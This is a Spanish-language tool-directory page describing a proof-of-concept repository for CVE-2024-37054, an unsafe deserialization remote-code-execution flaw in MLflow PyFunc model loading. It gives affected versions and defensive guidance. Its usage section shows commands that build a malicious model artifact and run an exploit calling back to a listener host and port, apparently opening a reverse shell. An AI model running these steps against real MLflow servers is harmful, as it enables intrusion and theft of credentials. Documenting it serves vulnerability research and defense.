Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/clearlotus-git/cve-2024-37054-poc
Herramientas DefensivasAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje AutomáticoAprendizaje y EducaciónSeguridad de IA
GitHub
Compartir
clearlotus-git/cve-2024-37054-poc

CVE-2024-37054-PoC

Repositorio de prueba de concepto e investigación para CVE-2024-37054, una vulnerabilidad de deserialización insegura en la carga de modelos PyFunc de MLflow que puede conducir a la ejecución remota de código.

Ver Repositorio
43hace 2 mesesAún no revisado

Deserialización insegura en MLflow

CVE-2024-37054

Descripción general

Este repositorio documenta la investigación sobre CVE-2024-37054, un problema de deserialización insegura que afecta el manejo de modelos PyFunc de MLflow.

En las versiones afectadas de MLflow, cargar un modelo PyFunc no confiable puede provocar que la lógica de deserialización de Python procese un objeto serializado que contiene comportamiento controlado por el atacante. Si se carga un artefacto no confiable, el código puede ejecutarse con los permisos del usuario o servicio que realiza la operación de carga del modelo.

Las versiones afectadas reportadas en avisos públicos incluyen:

MLflow 0.9.0 through 2.14.1

Riesgo

El riesgo principal no es simplemente "subir un modelo". El peligro ocurre cuando una aplicación, analista, worker o plataforma de ML carga un artefacto de modelo serializado no confiable.

El impacto potencial incluye:

  • Ejecución remota de código en el contexto del cliente, worker o servicio de MLflow
  • Exposición de variables de entorno, credenciales, tokens y archivos locales
  • Acceso no autorizado a almacenes de modelos, bases de datos y servicios internos conectados
  • Modificación de modelos, experimentos o metadatos del registro
  • Movimiento desde la infraestructura de ML hacia otros entornos conectados

Contenido del repositorio

build_model.py

Crea un artefacto de modelo de prueba controlado para su uso en un entorno de laboratorio privado y autorizado.

exploit.py

Automatización privada de prueba de concepto utilizada únicamente para validar la ruta de la vulnerabilidad en un entorno de entrenamiento autorizado. Este repositorio no incluye objetivos activos, credenciales, tokens de sesión, archivos de configuración de VPN ni payloads destructivos.

Uso

Ejecute esta prueba de concepto únicamente en un entorno de laboratorio autorizado.

1. Construir el modelo de prueba

Cree el artefacto de modelo controlado:

python3 build_model.py --lhost <YOUR_IP> --lport 4444

2. Ejecutar con registro automático de cuenta

Si aún no tiene una sesión autenticada, use el modo de registro automático:

python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz

Este modo crea una cuenta de laboratorio temporal, se autentica en la aplicación y continúa con el flujo de trabajo de registro y validación del modelo.

3. Ejecutar con una sesión existente

Si ya tiene una sesión autorizada válida, pásela directamente:

python3 exploit.py \
  --lhost <YOUR_IP> \
  --lport 4444 \
  --session "<SESSION_TOKEN>"

Reemplace:

  • <YOUR_IP> con la dirección IP accesible desde el objetivo de laboratorio autorizado.
  • 4444 con el puerto de escucha utilizado en su laboratorio.
  • <SESSION_TOKEN> con el valor de su sesión autorizada activa.

Nunca publique tokens de sesión reales, credenciales, archivos de VPN, direcciones de objetivos ni detalles de callback.

Guía defensiva

Las organizaciones que utilizan MLflow deben tratar los artefactos de modelos como entrada no confiable, a menos que se haya verificado su origen e integridad.

Salvaguardas recomendadas:

  • No cargue artefactos de modelos PyFunc serializados o basados en pickle que no sean confiables.
  • Restrinja los permisos de carga, registro, versionado y carga de modelos utilizando el principio de mínimo privilegio.
  • Aísle las cargas de trabajo de MLflow en contenedores sin privilegios de root o entornos de worker restringidos.
  • Restrinja el acceso de red saliente desde la infraestructura de carga de modelos y entrenamiento.
  • Evite colocar secretos en variables de entorno accesibles a los trabajos de procesamiento de modelos.
  • Registre las cargas de modelos, acciones del registro, acceso a artefactos y actividad anómala de subprocesos.
  • Supervise los avisos de seguridad de MLflow y utilice versiones de software compatibles y mantenidas.

Descargo de responsabilidad

Este proyecto está destinado únicamente a investigación defensiva, educación y pruebas de seguridad autorizadas. El flujo de trabajo de prueba de concepto se evaluó únicamente en un entorno de entrenamiento controlado. No pruebe esta vulnerabilidad contra sistemas, cuentas, servicios o redes sin autorización escrita explícita.

Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    599
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    394
  • 4

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    277
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motor de OSINT impulsado por IA para descubrir y mapear más de 7.700 identidades en redes sociales en toda la web

    257

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →